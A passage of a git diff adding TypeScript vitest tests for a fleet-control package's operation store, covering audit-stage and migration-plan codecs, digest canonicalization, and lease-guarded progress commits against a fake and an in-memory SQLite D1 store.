+    }
+  });
+
+  it('the withheld-detail fallback shape (a bearer-service detail is withheld, never thrown)', () => {
+    const unsafe = 'maintenance failed for bearer-service';
+    expect(isDurableAuditDetailSafe(unsafe)).toBe(false);
+    expect(withheldAuditDetail('maintenance-stale')).toBe(
+      "finding detail withheld: unsafe bytes (kind 'maintenance-stale')",
+    );
+    for (const detail of [
+      'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND + 1),
+      'unsafe\u0000detail',
+    ]) {
+      expect(isDurableAuditDetailSafe(detail)).toBe(false);
+      expect(() =>
+        driftFindingRowFromUnknown({
+          tenantTag: 'tenant',
+          environment: 'production',
+          kind: 'maintenance-stale',
+          detail,
+        }),
+      ).toThrow(FleetOperationStateError);
+      expect(withheldAuditDetail('maintenance-stale')).toBe(
+        "finding detail withheld: unsafe bytes (kind 'maintenance-stale')",
+      );
+    }
+  });
+
+  it('assertFleetOperationId accepts lowercase UUIDv4; rejects uppercase/short/non-v4', () => {
+    expect(() => assertFleetOperationId(OPERATION_ID)).not.toThrow();
+    for (const value of [
+      OPERATION_ID.toUpperCase(),
+      'short',
+      OPERATION_ID.replace('-4', '-3'),
+    ]) {
+      expect(() => assertFleetOperationId(value)).toThrow(
+        'operationId must be a lowercase UUIDv4',
+      );
+    }
+  });
+
+  it('canonicalFleetOperationBytes/fleetOperationIntakeDigest stable under nested key reorder; digest differs on any value change', () => {
+    const first = { z: [{ b: 2, a: 1 }], a: { d: 4, c: 3 } };
+    const reordered = { a: { c: 3, d: 4 }, z: [{ a: 1, b: 2 }] };
+    expect(canonicalFleetOperationBytes(first)).toBe(
+      canonicalFleetOperationBytes(reordered),
+    );
+    expect(fleetOperationIntakeDigest(first)).toBe(
+      fleetOperationIntakeDigest(reordered),
+    );
+    expect(fleetOperationIntakeDigest(first)).not.toBe(
+      fleetOperationIntakeDigest({ ...reordered, z: [{ a: 1, b: 3 }] }),
+    );
+  });
+
+  it('audit stage codec round-trip + unknown-step refusal', () => {
+    const stage = { step: 'r2-missing-identity', expectedOrdinal: 4 } as const;
+    expect(fleetAuditStageFromUnknown(stage)).toEqual(stage);
+    expect(() => fleetAuditStageFromUnknown({ step: 'unknown' })).toThrow(
+      FleetOperationStateError,
+    );
+  });
+
+  it('audit stage codec refuses a persisted cursor that is not a safe non-negative integer', () => {
+    // The guard the forced-generation reader rests on: a cursor read back out
+    // of D1 indexes the audited collection, so a fractional, negative or
+    // out-of-range value has to fail the decode rather than the array read.
+    for (const expectedOrdinal of [
+      4.5,
+      -1,
+      Number.MAX_SAFE_INTEGER + 1,
+      Number.NaN,
+      Number.POSITIVE_INFINITY,
+      '4',
+      null,
+    ]) {
+      expect(() =>
+        fleetAuditStageFromUnknown({
+          step: 'r2-missing-identity',
+          expectedOrdinal,
+        }),
+      ).toThrow(FleetOperationStateError);
+    }
+    expect(
+      fleetAuditStageFromUnknown({
+        step: 'r2-missing-identity',
+        expectedOrdinal: 0,
+      }),
+    ).toEqual({ step: 'r2-missing-identity', expectedOrdinal: 0 });
+  });
+
+  it('nextAuditStage successor chain over all 13 stages (same-step on exhausted: false)', () => {
+    const initial = {
+      step: 'provider-findings',
+      rowOrdinal: 0,
+    } as const;
+    let stage = fleetAuditStageFromUnknown(initial);
+    const seen = [stage.step];
+    expect(nextAuditStage({ ...initial, rowOrdinal: 7 }, false)).toEqual({
+      step: 'provider-findings',
+      rowOrdinal: 7,
+    });
+    // Capped by the very array the next assertion compares against. This loop
+    // is SYNCHRONOUS, so a non-progressing successor chain would never reach
+    // vitest's test timeout — it would block the worker and grow `seen` until
+    // the process died. The cap is the stage count, which is one slot of slack
+    // over the 12 successors the chain actually needs.
+    for (let step = 0; stage.step !== 'finalize'; step += 1) {
+      if (step >= FLEET_AUDIT_STAGE_ORDER.length) {
+        throw new Error(
+          `nextAuditStage did not reach 'finalize' within ${FLEET_AUDIT_STAGE_ORDER.length} successors`,
+        );
+      }
+      stage = nextAuditStage(stage, true);
+      seen.push(stage.step);
+    }
+    expect(seen).toEqual(FLEET_AUDIT_STAGE_ORDER);
+    expect(nextAuditStage(stage, true)).toEqual({ step: 'finalize' });
+  });
+
+  it('FleetMigrationStep 24-member vocabulary refusal + fleetMigrationPlanEntryFromUnknown per-entry scope', () => {
+    expect(FLEET_MIGRATION_STEPS).toHaveLength(24);
+    for (const step of FLEET_MIGRATION_STEPS) {
+      expect(fleetMigrationPlanEntryFromUnknown({ step }).step).toBe(step);
+    }
+    expect(() =>
+      fleetMigrationPlanEntryFromUnknown({ step: 'unknown' }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetMigrationPlanEntryFromUnknown({
+        step: 'promote',
+        targetSchemaVersion: 2,
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(
+      fleetMigrationPlanEntryFromUnknown({
+        step: 'apply-migrations',
+        targetSchemaVersion: 2,
+      }),
+    ).toEqual({ step: 'apply-migrations', targetSchemaVersion: 2 });
+    expect(() =>
+      fleetMigrationPlanEntryFromUnknown({
+        step: 'apply-migrations',
+        targetSchemaVersion: 0,
+      }),
+    ).toThrow(FleetOperationStateError);
+    expect(() =>
+      fleetMigrationPlanEntryFromUnknown({
+        step: 'apply-migrations',
+        targetSchemaVersion: Number.MAX_SAFE_INTEGER + 1,
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it('FLEET_MIGRATION_PLAN_BOUND refusal', () => {
+    expect(() =>
+      fleetMigrationItemFromUnknown({
+        ...migrationItem('active'),
+        plan: Array.from({ length: FLEET_MIGRATION_PLAN_BOUND + 1 }, () => ({
+          step: 'promote',
+        })),
+      }),
+    ).toThrow(FleetOperationStateError);
+  });
+
+  it("the audit kind vocabulary is set-equal to DriftFinding['kind']", () => {
+    type DriftKind = DriftFinding['kind'];
+    // The set-equality proof is compile-time; pnpm typecheck is the gate
+    // that enforces it.
+    const driftIsSubsetOfAudit: Exclude<
+      DriftKind,
+      FleetAuditFindingKind
+    > extends never
+      ? true
+      : false = true;
+    const auditIsSubsetOfDrift: Exclude<
+      FleetAuditFindingKind,
+      DriftKind
+    > extends never
+      ? true
+      : false = true;
+    expect(driftIsSubsetOfAudit).toBe(true);
+    expect(auditIsSubsetOfDrift).toBe(true);
+  });
+
+  it('fleetOperationItemsIntake digests are order-sensitive across items, key-order-stable within an item, and framed so two items never collide with one concatenated item', () => {
+    const envelope = { generation: 1 };
+    const a = 1;
+    const b = 2;
+    const ab = 12;
+    const digestFor = (
+      items: readonly unknown[],
+      candidateEnvelope: Record<string, unknown> = envelope,
+    ): string => {
+      const result = fleetOperationItemsIntake({
+        envelope: candidateEnvelope,
+        items,
+        itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+      });
+      expect('digest' in result).toBe(true);
+      if (!('digest' in result)) throw new Error('unreachable');
+      return result.digest;
+    };
+
+    expect(digestFor([a, b])).not.toBe(digestFor([b, a]));
+    expect(digestFor([{ b: 2, a: 1 }])).toBe(digestFor([{ a: 1, b: 2 }]));
+    expect(canonicalFleetOperationBytes(ab)).toBe(
+      canonicalFleetOperationBytes(a) + canonicalFleetOperationBytes(b),
+    );
+    expect(digestFor([a, b])).not.toBe(digestFor([ab]));
+    expect(digestFor([a, b])).not.toBe(digestFor([a]));
+    expect(digestFor([a, b], { generation: 2 })).not.toBe(digestFor([a, b]));
+
+    // A FRAMING oracle, not a canonicalization oracle: it reuses
+    // `canonicalFleetOperationBytes` from the module under test, so it pins
+    // the netstring framing and the hash composition and nothing about the
+    // canonicalizer itself. That is pinned independently by the key-reorder
+    // and concatenation assertions above.
+    const oracle = createHash('sha256').update(
+      canonicalFleetOperationBytes(envelope),
+    );
+    const encoder = new TextEncoder();
+    for (const item of [a, b]) {
+      const canonical = canonicalFleetOperationBytes(item);
+      oracle
+        .update(String(encoder.encode(canonical).byteLength))
+        .update(':')
+        .update(canonical);
+    }
+    expect(digestFor([a, b])).toBe(oracle.digest('hex'));
+  });
+});
+
+// ---------------------------------------------------------------------------
+// The shared FakeOperationStore's own contract, beside the port it implements
+// rather than inside one of its consumers: a suite that drives the fake reads
+// its guarded-progress behaviour from here.
+// ---------------------------------------------------------------------------
+
+describe('operation fake guarded progress contract', () => {
+  const operationId = uuidFor(990);
+  const initial = {
+    version: 1,
+    operationId,
+    kind: 'migration',
+    state: 'running',
+    progress: {
+      kind: 'migration',
+      revision: 0,
+      itemCount: 1,
+      activeItemOrdinal: 0,
+      completedItemCount: 0,
+    },
+    updatedAt: '2026-09-05T00:00:00.000Z',
+  } as const;
+  const intended: FleetOperationRunRecord = {
+    ...initial,
+    progress: { ...initial.progress, revision: 1 },
+  };
+  const row: FleetOperationStagedRow = {
+    rowKind: 'item',
+    ordinal: 0,
+    payload: {
+      ordinal: 0,
+      tenantTag: 'fake',
+      environment: 'production',
+      entryRecordDigest: 'a'.repeat(64),
+      status: 'pending',
+    },
+  };
+  const different = {
+    ...row,
+    payload: { ...row.payload, tenantTag: 'other' },
+  };
+
+  it('loses the next successful progress response after a refused commit and accepts its retry', async () => {
+    const store = new FakeOperationStore();
+    store.operations.set(operationId, initial);
+    store.heads.set('migration', operationId);
+    const lostResponse = new Error('progress response lost');
+    store.loseNextSuccessfulCommitProgressResponse = lostResponse;
+    await store.withAccountOperationLease('migration', async (lease) => {
+      const input = {
+        operationId,
+        expectedRevision: 0,
+        runRecord: intended,
+        rows: [row],
+        expectedRowWatermarks: { item: 1 },
+      };
+      const refused = lease.commitProgress({ ...input, expectedRevision: 2 });
+      await expect(refused).rejects.toBeInstanceOf(Error);
+      await expect(refused).rejects.toHaveProperty(
+        'message',
+        `fleet operation '${operationId}' is no longer at the expected revision`,
+      );
+      expect(store.loseNextSuccessfulCommitProgressResponse).toBe(lostResponse);
+      expect(store.operations.get(operationId)).toEqual(initial);
+      expect(store.rows.size).toBe(0);
+      expect(store.heads.get('migration')).toBe(operationId);
+
+      await expect(lease.commitProgress(input)).rejects.toBe(lostResponse);
+      expect(store.loseNextSuccessfulCommitProgressResponse).toBeUndefined();
+      expect(store.operations.get(operationId)).toEqual(intended);
+      expect(store.rows.get(`${operationId}:item`)).toEqual([row]);
+      const operationsBeforeRetry = structuredClone([...store.operations]);
+      const rowsBeforeRetry = structuredClone([...store.rows]);
+      const headsBeforeRetry = [...store.heads];
+      await expect(lease.commitProgress(input)).resolves.toEqual(intended);
+      expect([...store.operations]).toEqual(operationsBeforeRetry);
+      expect([...store.rows]).toEqual(rowsBeforeRetry);
+      expect([...store.heads]).toEqual(headsBeforeRetry);
+    });
+  });
+
+  it.each([
+    { method: 'finalizeOperation', state: 'running' },
+    { method: 'finalizeOperation', state: 'finalized' },
+    { method: 'finalizeOperation', state: 'failed' },
+    { method: 'failOperation', state: 'running' },
+    { method: 'failOperation', state: 'finalized' },
+    { method: 'failOperation', state: 'failed' },
+  ] as const)('$method refuses a foreign-kind $state record using the captured lease', async ({
+    method,
+    state,
+  }) => {
+    const store = new FakeOperationStore();
+    const source = state === 'running' ? initial : intended;
+    store.rows.set(`${operationId}:item`, [row]);
+    store.heads.set('migration', operationId);
+    store.heads.set('audit', uuidFor(991));
+    store.operations.set(
+      operationId,
+      fleetOperationRunRecordFromUnknown({
+        ...source,
+        state,
+        progress: {
+          ...source.progress,
+          ...(state === 'failed'
+            ? { failure: { reason: 'operator-abandoned' } }
+            : {}),
+          ...(state === 'finalized' ? { completedItemCount: 1 } : {}),
+        },
+      }),
+    );
+    const operationsBefore = structuredClone([...store.operations]);
+    const rowsBefore = structuredClone([...store.rows]);
+    const headsBefore = [...store.heads];
+    await store.withAccountOperationLease('audit', async (lease) => {
+      const runRecord = fleetOperationRunRecordFromUnknown({
+        ...source,
+        kind: 'audit',
+        state: method === 'finalizeOperation' ? 'finalized' : 'failed',
+        progress: {
+          kind: 'audit',
+          revision: 1,
+          stage: { step: 'finalize' },
+          generation: 1,
+          auditTimeMs: 0,
+          staleAfterMs: 60_000,
+          recordCount: 0,
+          findingCount: 0,
+          factCount: 0,
+          ...(method === 'failOperation'
+            ? { failure: { reason: 'operator-abandoned' } }
+            : {}),
+        },
+      });
+      const input = { operationId, expectedRevision: 0, runRecord };
+      const result =
+        method === 'finalizeOperation'
+          ? lease.finalizeOperation({ ...input, expectedRowCounts: {} })
+          : lease.failOperation(input);
+      await expect(result).rejects.toBeInstanceOf(Error);
+      await expect(result).rejects.toHaveProperty(
+        'message',
+        fleetOperationOtherKindMessage(operationId),
+      );
+      expect([...store.operations]).toEqual(operationsBefore);
+      expect([...store.rows]).toEqual(rowsBefore);
+      expect([...store.heads]).toEqual(headsBefore);
+    });
+  });
+
+  it.each([
+    'missing-operation',
+    'watermark',
+    'other-record',
+    'different-row',
+    'missing-row',
+    'converged',
+  ] as const)('orders the %s convergence identity', async (variant) => {
+    const store = new FakeOperationStore();
+    if (variant !== 'missing-operation') {
+      store.operations.set(
+        operationId,
+        variant === 'other-record'
+          ? { ...intended, state: 'failed' }
+          : intended,
+      );
+    }
+    store.rows.set(
+      `${operationId}:item`,
+      variant === 'missing-row'
+        ? []
+        : [variant === 'converged' ? row : different],
+    );
+    const operationsBefore = structuredClone([...store.operations]);
+    const rowsBefore = structuredClone([...store.rows]);
+    await store.withAccountOperationLease('migration', async (lease) => {
+      const commit = lease.commitProgress({
+        operationId,
+        expectedRevision: 0,
+        runRecord: intended,
+        updateRows:
+          variant === 'different-row'
+            ? [
+                { ...row, ordinal: 1, payload: { ...row.payload, ordinal: 1 } },
+                row,
+              ]
+            : [row],
+        expectedRowWatermarks: {
+          item: variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1,
+        },
+      });
+      if (variant === 'converged') {
+        await expect(commit).resolves.toEqual(intended);
+      } else {
+        const message =
+          variant === 'missing-operation'
+            ? `no fleet operation '${operationId}'`
+            : variant === 'different-row'
+              ? `fleet operation '${operationId}' staged rows diverge from the persisted operation`
+              : `fleet operation '${operationId}' is no longer at the expected revision`;
+        await expect(commit).rejects.toBeInstanceOf(Error);
+        await expect(commit).rejects.toHaveProperty('message', message);
+      }
+    });
+    expect([...store.operations]).toEqual(operationsBefore);
+    expect([...store.rows]).toEqual(rowsBefore);
+  });
+
+  it('enforces watermark writer obligations', async () => {
+    for (const insert of [false, true]) {
+      const store = new FakeOperationStore();
+      store.operations.set(operationId, initial);
+      store.rows.set(`${operationId}:item`, [row]);
+      await store.withAccountOperationLease('migration', async (lease) => {
+        await expect(
+          lease.commitProgress({
+            operationId,
+            expectedRevision: 0,
+            runRecord: intended,
+            ...(insert ? { rows: [different] } : {}),
+            expectedRowWatermarks: { item: 2 },
+          }),
+        ).rejects.toThrow(
+          insert
+            ? fleetOperationWatermarkRunMessage('item')
+            : `fleet operation '${operationId}' is no longer at the expected revision`,
+        );
+      });
+      expect(store.operations.get(operationId)).toEqual(initial);
+      expect(store.rows.get(`${operationId}:item`)).toEqual([row]);
+    }
+  });
+
+  it('refuses noncontiguous rows and malformed mutations on stale-revision replay', async () => {
+    const replay = new FakeOperationStore();
+    const secondRow: FleetOperationStagedRow = {
+      ...row,
+      ordinal: 1,
+      payload: { ...row.payload, ordinal: 1 },
+    };
+    const twoItems = {
+      ...intended,
+      progress: {
+        ...initial.progress,
+        revision: 1,
+        itemCount: 2,
+      },
+    };
+    replay.operations.set(operationId, twoItems);
+    replay.rows.set(`${operationId}:item`, [row, secondRow]);
+    await replay.withAccountOperationLease('migration', async (lease) => {
+      await expect(
+        lease.commitProgress({
+          operationId,
+          expectedRevision: 0,
+          runRecord: twoItems,
+          rows: [row],
+          expectedRowWatermarks: { item: 2 },
+        }),
+      ).rejects.toThrow(fleetOperationWatermarkRunMessage('item'));
+    });
+    expect(replay.operations.get(operationId)).toEqual(twoItems);
+    expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]);
+    for (const mutations of [
+      { rows: [secondRow, secondRow] },
+      { rows: [secondRow], updateRows: [secondRow] },
+      { updateRows: [secondRow, secondRow] },
+      { updateRows: [{ ...row, rowKind: 'record' as const }] },
+    ]) {
+      await replay.withAccountOperationLease('migration', async (lease) => {
+        await expect(
+          lease.commitProgress({
+            operationId,
+            expectedRevision: 0,
+            runRecord: twoItems,
+            expectedRowWatermarks: { item: 2 },
+            ...mutations,
+          }),
+        ).rejects.toBeInstanceOf(FleetOperationStateError);
+      });
+      expect(replay.operations.get(operationId)).toEqual(twoItems);
+      expect(replay.rows.get(`${operationId}:item`)).toEqual([row, secondRow]);
+    }
+  });
+
+  it('migration kind: refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => {
+    const secondRow = {
+      ...row,
+      ordinal: 1,
+      payload: { ...row.payload, ordinal: 1 },
+    };
+    const updated = {
+      ...secondRow,
+      payload: { ...secondRow.payload, tenantTag: 'updated' },
+    };
+    const sibling = {
+      ...row,
+      ordinal: 2,
+      payload: { ...row.payload, ordinal: 2 },
+    };
+    const missing = {
+      ...row,
+      ordinal: 3,
+      payload: { ...row.payload, ordinal: 3 },
+    };
+    for (const variant of ['missing-update', 'different-insert', 'exact']) {
+      const store = new FakeOperationStore();
+      store.operations.set(operationId, initial);
+      store.heads.set('migration', operationId);
+      store.rows.set(`${operationId}:item`, [row, secondRow]);
+      const input = {
+        operationId,
+        expectedRevision: 0,
+        runRecord: intended,
+        rows: [sibling, variant === 'different-insert' ? different : row],
+        updateRows:
+          variant === 'missing-update' ? [updated, missing] : [updated],
+        expectedRowWatermarks: { item: 1 },
+      };
+      await store.withAccountOperationLease('migration', async (lease) => {
+        const result = await lease
+          .commitProgress(input)
+          .catch((error: unknown) => error);
+        if (variant === 'exact') {
+          expect(store.operations.get(operationId)).toEqual(intended);
+          expect(store.rows.get(`${operationId}:item`)).toEqual([
+            row,
+            updated,
+            sibling,
+          ]);
+          expect(result).toEqual(intended);
+          expect(await lease.commitProgress(input)).toEqual(intended);
+          expect(store.operations.get(operationId)).toEqual(intended);
+          expect(store.rows.get(`${operationId}:item`)).toEqual([
+            row,
+            updated,
+            sibling,
+          ]);
+        } else {
+          expect(store.operations.get(operationId)).toEqual(initial);
+          expect(store.rows.get(`${operationId}:item`)).toEqual([
+            row,
+            secondRow,
+          ]);
+          expect(store.heads.get('migration')).toBe(operationId);
+          expect(result).toBeInstanceOf(Error);
+          if (variant === 'missing-update') {
+            expect(result).toHaveProperty(
+              'message',
+              `fleet operation '${operationId}' is no longer at the expected revision`,
+            );
+          }
+        }
+      });
+    }
+  });
+
+  it('audit kind: compares record payloads canonically for fresh commits and convergence', async () => {
+    const record: FleetRecord = {
+      tenantTag: 'canonical',
+      backend: 'plain-worker',
+      environment: 'production',
+      scriptName: 'canonical-worker',
+      databaseId: 'db-canonical',
+      databaseName: 'database-canonical',
+      schemaVersion: 1,
+      artifactVersion: 'v1',
+      desiredSpecDigest: 'a'.repeat(64),
+      durableObjectBindings: [
+        { name: 'RUNNER', className: 'Runner', namespaceId: 'ns-canonical' },
+      ],
+      routeHostname: 'canonical.example.test',
+      phase: 'ready',
+      updatedAt: NOW,
+    };
+    const stored: FleetOperationStagedRow = {
+      rowKind: 'record',
+      ordinal: 0,
+      payload: { ...record },
+    };
+    const reordered = {
+      ...stored,
+      payload: Object.fromEntries(Object.entries(record).reverse()),
+    };
+    expect(JSON.stringify(stored.payload)).not.toBe(
+      JSON.stringify(reordered.payload),
+    );
+    const auditInitial = {
+      ...initial,
+      kind: 'audit' as const,
+      progress: { kind: 'audit' as const, revision: 0 },
+    };
+    const auditIntended = {
+      ...auditInitial,
+      progress: { ...auditInitial.progress, revision: 1 },
+    };
+    const store = new FakeOperationStore();
+    store.operations.set(operationId, auditInitial);
+    store.rows.set(`${operationId}:record`, [stored]);
+    await store.withAccountOperationLease('audit', async (lease) => {
+      const input = {
+        operationId,
+        expectedRevision: 0,
+        runRecord: auditIntended,
+        rows: [reordered],
+        expectedRowWatermarks: { record: 1 },
+      };
+      const error = await lease
+        .commitProgress({
+          ...input,
+          rows: [
+            { ...stored, ordinal: 1 },
+            { ...stored, payload: { ...stored.payload, tenantTag: 'other' } },
+          ],
+        })
+        .catch((error: unknown) => error);
+      expect(store.operations.get(operationId)).toEqual(auditInitial);
+      expect(store.rows.get(`${operationId}:record`)).toEqual([stored]);
+      expect(error).toBeInstanceOf(Error);
+      for (let retry = 0; retry < 2; retry += 1) {
+        expect(await lease.commitProgress(input)).toEqual(auditIntended);
+        expect(store.operations.get(operationId)).toEqual(auditIntended);
+        expect(store.rows.get(`${operationId}:record`)).toEqual([stored]);
+        expect(JSON.stringify(store.rows.get(`${operationId}:record`))).toBe(
+          JSON.stringify([stored]),
+        );
+      }
+    });
+  });
+
+  it('migration kind: refuses multiple failure updates before changing rows or releasing the head', async () => {
+    const secondRow = {
+      ...row,
+      ordinal: 1,
+      payload: { ...row.payload, ordinal: 1 },
+    };
+    const store = new FakeOperationStore();
+    store.operations.set(operationId, initial);
+    store.heads.set('migration', operationId);
+    store.rows.set(`${operationId}:item`, [row, secondRow]);
+    await store.withAccountOperationLease('migration', async (lease) => {
+      let error: unknown;
+      try {
+        await lease.failOperation({
+          operationId,
+          expectedRevision: 0,
+          runRecord: { ...intended, state: 'failed' },
+          updateRows: [row, secondRow].map((item) => ({
+            ...item,
+            payload: { ...item.payload, status: 'failed' },
+          })),
+        });
+      } catch (caught) {
+        error = caught;
+      }
+      expect(store.operations.get(operationId)).toEqual(initial);
+      expect(store.rows.get(`${operationId}:item`)).toEqual([row, secondRow]);
+      expect(store.heads.get('migration')).toBe(operationId);
+      expect(error).toBeInstanceOf(Error);
+      expect(error).toHaveProperty(
+        'message',
+        FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE,
+      );
+    });
+  });
+});
diff --git a/packages/fleet-control/test/fleet-operation-store.test.ts b/packages/fleet-control/test/fleet-operation-store.test.ts
new file mode 100644
index 00000000..c5bdf4a2
--- /dev/null
+++ b/packages/fleet-control/test/fleet-operation-store.test.ts
@@ -0,0 +1,2163 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import { D1FleetOperationStore } from '../src/d1-fleet-operation-store.js';
+import type { FleetAuditProgress } from '../src/fleet-audit-state.js';
+import type {
+  FleetInventoryGeneration,
+  FleetInventoryGenerationRef,
+  FleetInventoryRunRecord,
+  FleetInventoryRunStore,
+} from '../src/fleet-inventory-state.js';
+import type { FleetMigrationProgress } from '../src/fleet-migration-state.js';
+import {
+  classifyFleetOperationToken,
+  FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE,
+  type FleetOperationKind,
+  type FleetOperationLease,
+  type FleetOperationRowKind,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStoreCapabilityError,
+  fleetOperationOtherKindMessage,
+  fleetOperationWatermarkRunMessage,
+} from '../src/fleet-operation-state.js';
+import type { FleetStateDatabase } from '../src/state-store.js';
+
+interface SqliteStatement {
+  all(...bindings: readonly unknown[]): Readonly<Record<string, unknown>>[];
+}
+
+interface SqliteDatabase {
+  prepare(sql: string): SqliteStatement;
+  exec(sql: string): void;
+}
+
+function openSqlite(): SqliteDatabase {
+  // getBuiltinModule avoids vite's resolver, which cannot resolve node:sqlite;
+  // node:sqlite has been unflagged since Node 22.13.
+  const getBuiltin = (
+    globalThis as {
+      process?: { getBuiltinModule?: (id: string) => unknown };
+    }
+  ).process?.getBuiltinModule;
+  if (!getBuiltin) {
+    throw new Error('node:sqlite unavailable — tests require node >= 22.13');
+  }
+  const sqlite = getBuiltin('node:sqlite') as {
+    DatabaseSync: new (path: string) => SqliteDatabase;
+  };
+  return new sqlite.DatabaseSync(':memory:');
+}
+
+class MemoryD1 implements FleetStateDatabase {
+  readonly sqlite = openSqlite();
+  /** Statement counts for each executed batch. */
+  readonly batchSizes: number[] = [];
+  /** Binding counts for every statement executed in batch order. */
+  readonly bindingCounts: number[] = [];
+  /** Makes the next committed batch drop its result rows, for lost responses. */
+  hideBatchResults = false;
+  /** Makes the next committed batch throw as if its response were lost. */
+  failNextBatchAfterCommit = false;
+  /**
+   * Leaves the next batch's last statement unapplied and answers it with no
+   * rows, as a lease that expires mid-batch does to the statements behind it.
+   */
+  refuseNextBatchTrailingStatement = false;
+  /** Runs once after the next batch commits, for a row that vanishes under a call. */
+  afterNextBatch: (() => void) | undefined;
+
+  async query(
+    sql: string,
+    bindings: readonly unknown[] = [],
+  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    return this.sqlite.prepare(sql).all(...bindings);
+  }
+
+  async execute(sql: string, bindings: readonly unknown[] = []): Promise<void> {
+    this.sqlite.prepare(sql).all(...bindings);
+  }
+
+  async batch(
+    statements: readonly Readonly<{
+      sql: string;
+      bindings?: readonly unknown[];
+    }>[],
+  ): Promise<readonly (readonly Readonly<Record<string, unknown>>[])[]> {
+    this.batchSizes.push(statements.length);
+    this.bindingCounts.push(
+      ...statements.map(({ bindings = [] }) => bindings.length),
+    );
+    if (statements.length === 0) return [];
+    const refuseTrailing = this.refuseNextBatchTrailingStatement;
+    this.refuseNextBatchTrailingStatement = false;
+    const applied = refuseTrailing ? statements.slice(0, -1) : statements;
+    const results: Readonly<Record<string, unknown>>[][] = [];
+    this.sqlite.exec('BEGIN IMMEDIATE');
+    try {
+      for (const { sql, bindings = [] } of applied) {
+        results.push(this.sqlite.prepare(sql).all(...bindings));
+      }
+      this.sqlite.exec('COMMIT');
+    } catch (error) {
+      this.sqlite.exec('ROLLBACK');
+      throw error;
+    }
+    if (refuseTrailing) results.push([]);
+    const afterBatch = this.afterNextBatch;
+    if (afterBatch) {
+      this.afterNextBatch = undefined;
+      afterBatch();
+    }
+    if (this.failNextBatchAfterCommit) {
+      this.failNextBatchAfterCommit = false;
+      throw new Error('committed batch response lost');
+    }
+    if (this.hideBatchResults) {
+      this.hideBatchResults = false;
+      return results.map(() => []);
+    }
+    return results;
+  }
+}
+
+const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000';
+const SECOND_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174001';
+const THIRD_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174002';
+const FOURTH_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174003';
+const FIFTH_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174004';
+const SIXTH_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174005';
+const DIGEST = 'a'.repeat(64);
+const OTHER_DIGEST = 'b'.repeat(64);
+const NOW = '2026-09-01T00:00:00.000Z';
+
+function runRecord(
+  kind: FleetOperationKind,
+  revision = 0,
+  state: 'running' | 'finalized' | 'failed' = 'running',
+  operationId = OPERATION_ID,
+): FleetOperationRunRecord {
+  return {
+    version: 1,
+    operationId,
+    kind,
+    state,
+    progress:
+      kind === 'audit'
+        ? ({
+            kind,
+            revision,
+            stage: { step: 'provider-findings', rowOrdinal: 0 },
+            generation: 1,
+            auditTimeMs: 1_700_000_000_000,
+            staleAfterMs: 60_000,
+            recordCount: 2,
+            findingCount: 0,
+            factCount: 0,
+            ...(state === 'failed'
+              ? { failure: { reason: 'operator-abandoned' as const } }
+              : {}),
+          } as FleetAuditProgress)
+        : ({
+            kind,
+            revision,
+            itemCount: 1,
+            activeItemOrdinal: 0,
+            completedItemCount: state === 'finalized' ? 1 : 0,
+            ...(state === 'failed'
+              ? {
+                  failure: {
+                    reason: 'item-failed' as const,
+                    itemOrdinal: 0,
+                  },
+                }
+              : {}),
+          } as FleetMigrationProgress),
+    updatedAt: NOW,
+  };
+}
+
+function advanced(
+  record: FleetOperationRunRecord,
+  state: 'running' | 'finalized' | 'failed' = 'running',
+): FleetOperationRunRecord {
+  const failure =
+    state === 'failed'
+      ? record.kind === 'audit'
+        ? { reason: 'operator-abandoned' as const }
+        : { reason: 'item-failed' as const, itemOrdinal: 0 }
+      : undefined;
+  return {
+    ...record,
+    state,
+    progress: {
+      ...record.progress,
+      revision: record.progress.revision + 1,
+      ...(failure === undefined ? {} : { failure }),
+    },
+  };
+}
+
+function recordRow(ordinal: number, label = `record-${ordinal}`) {
+  return { rowKind: 'record' as const, ordinal, payload: { label } };
+}
+
+function findingRow(
+  ordinal = 0,
+  detail = `safe finding ${ordinal}`,
+): FleetOperationStagedRow {
+  return {
+    rowKind: 'finding',
+    ordinal,
+    payload: {
+      tenantTag: 'tenant',
+      environment: 'production',
+      kind: 'audit-error',
+      detail,
+    },
+  };
+}
+
+function factRow(ordinal = 0): FleetOperationStagedRow {
+  return {
+    rowKind: 'fact',
+    ordinal,
+    payload: {
+      factKind: 'database-owner',
+      key: `database-${ordinal}`,
+      tenantTag: 'tenant',
+      environment: 'production',
+    },
+  };
+}
+
+function itemRow(
+  status: 'pending' | 'active' | 'complete' | 'failed' = 'pending',
+  ordinal = 0,
+): FleetOperationStagedRow {
+  return {
+    rowKind: 'item',
+    ordinal,
+    payload: {
+      ordinal,
+      tenantTag: 'tenant',
+      environment: 'production',
+      entryRecordDigest: 'c'.repeat(64),
+      ...(status === 'pending'
+        ? {}
+        : {
+            targetSpecDigest: 'd'.repeat(64),
+            plan: [{ step: 'promote' }],
+            planCursor: status === 'complete' ? 1 : 0,
+          }),
+      status,
+    },
+  };
+}
+
+function store(
+  db: MemoryD1,
+  accountId = 'account-primary',
+  inventoryStore?: FleetInventoryRunStore,
+): D1FleetOperationStore {
+  return new D1FleetOperationStore(db, { accountId, inventoryStore });
+}
+
+function start(
+  lease: FleetOperationLease,
+  kind: FleetOperationKind = 'audit',
+  operationId = OPERATION_ID,
+  intakeDigest = DIGEST,
+) {
+  return lease.startOperation({
+    operationId,
+    kind,
+    runRecord: runRecord(kind, 0, 'running', operationId),
+    intakeDigest,
+  });
+}
+
+async function readRows(
+  target: D1FleetOperationStore,
+  rowKind: FleetOperationRowKind,
+) {
+  return (
